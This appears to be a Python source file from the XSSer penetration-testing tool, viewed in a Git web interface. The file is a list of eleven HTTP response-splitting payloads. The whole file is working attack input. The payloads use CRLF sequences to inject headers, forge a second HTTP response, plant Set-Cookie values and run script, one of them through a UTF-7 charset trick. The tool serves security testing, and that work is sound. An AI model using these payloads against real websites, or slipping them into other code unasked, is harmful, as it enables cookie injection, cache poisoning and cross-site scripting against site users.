Startsida Utforska Hjälp
Logga in
epsylon
/
xsser
Bevaka 1
Stjärnmärk 0
Fork 0
Filer Ärenden 0 Pull-förfrågningar 0
Träd: 28334db377
Grenar Taggar
xsser
/
core
/
fuzzing
/
HTTPsr.py

HTTPsr.py 3.0 KB
Historik Rå

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950 
  1. #!/usr/bin/env python
    2. 

  2. # -*- coding: utf-8 -*-"
    3. 

  3. # vim: set expandtab tabstop=4 shiftwidth=4:
    4. 

  4. """
    5. 

  5. This file is part of the XSSer project, https://xsser.03c8.net
    6. 

  6. 

  7. Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
    8. 

  8. 

  9. xsser is free software; you can redistribute it and/or modify it under
    10. 

  10. the terms of the GNU General Public License as published by the Free
    11. 

  11. Software Foundation version 3 of the License.
    12. 

  12. 

  13. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
    14. 

  14. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
    15. 

  15. FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
    16. 

  16. details.
    17. 

  17. 

  18. You should have received a copy of the GNU General Public License along
    19. 

  19. with xsser; if not, write to the Free Software Foundation, Inc., 51
    20. 

  20. Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
    21. 

  21. """
    22. 

  22. ## This file contains different XSS fuzzing vectors.
    23. 

  23. ## If you have some new, please email me to [epsylon@riseup.net]
    24. 

  24. ## Happy Cross Hacking! ;)
    25. 

  25. 

  26. HTTPrs_vectors = [
    27. 

  27. 		{ 'payload' : """%0d%0AContent-Length:%200%0d%0A%0d%0AHTTP/1.1%20200%20OK%0d%0AContent-Length:%2016%0d%0A%0d%0A&lt;html&gt;PAYLOAD&lt;/html&gt;""",
    28. 

  28.           'browser' : """[Induced Injection]""" },
    29. 

  29. 		{ 'payload' : """PAYLOAD%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<script>alert("PAYLOAD")</script>""",
    30. 

  30.           'browser' : """[Induced Injection]""" },
    31. 

  31. 		{ 'payload' : """%0D%0ASet-Cookie%3APAYLOAD""",
    32. 

  32.           'browser' : """[Induced Injection]""" },
    33. 

  33. 		{ 'payload' : """%0AContent-Type:html%0A%0A%3Cbody%20onload=alert(%22PAYLOAD%22)%3E""",
    34. 

  34.           'browser' : """[Induced Injection]""" },
    35. 

  35. 		{ 'payload' : """%0AContent-Type:text/html%0A%0A%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3Ehttp://www.test.com""",
    36. 

  36.           'browser' : """[Induced Injection]""" },
    37. 

  37. 		{ 'payload' : """%0AContent-type:%20html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3E""",
    38. 

  38.           'browser' : """[Induced Injection]""" },
    39. 

  39. 		{ 'payload' : """%0AExpect:%20%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3E""",
    40. 

  40.           'browser' : """[Induced Injection]""" },
    41. 

  41. 		{ 'payload' : """%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified: Wed, 13 Jan 2006 12:44:23 GMT%0d%0aContent-Type:text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1""",
    42. 

  42. 		  'browser' : """[Induced Injection]"""},
    43. 

  43. 		{ 'payload' : """%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control: no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1""",
    44. 

  44.           'browser' : """[Induced Injection]"""},
    45. 

  45. 		{ 'payload' : """%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1""",
    46. 

  46. 		  'browser' : """[Induced Injection]""" },
    47. 

  47. 		{ 'payload' : """%0d%0AContent-Type: text/html;charset=UTF-7%0A%0A%2BADw-script%2BAD4-alert('PAYLOAD');%2BADw-/script%2BAD4-""",
    48. 

  48.           'browser' : """[Induced Injection]""" }
    49. 

  49. 		]
    50. 

  50.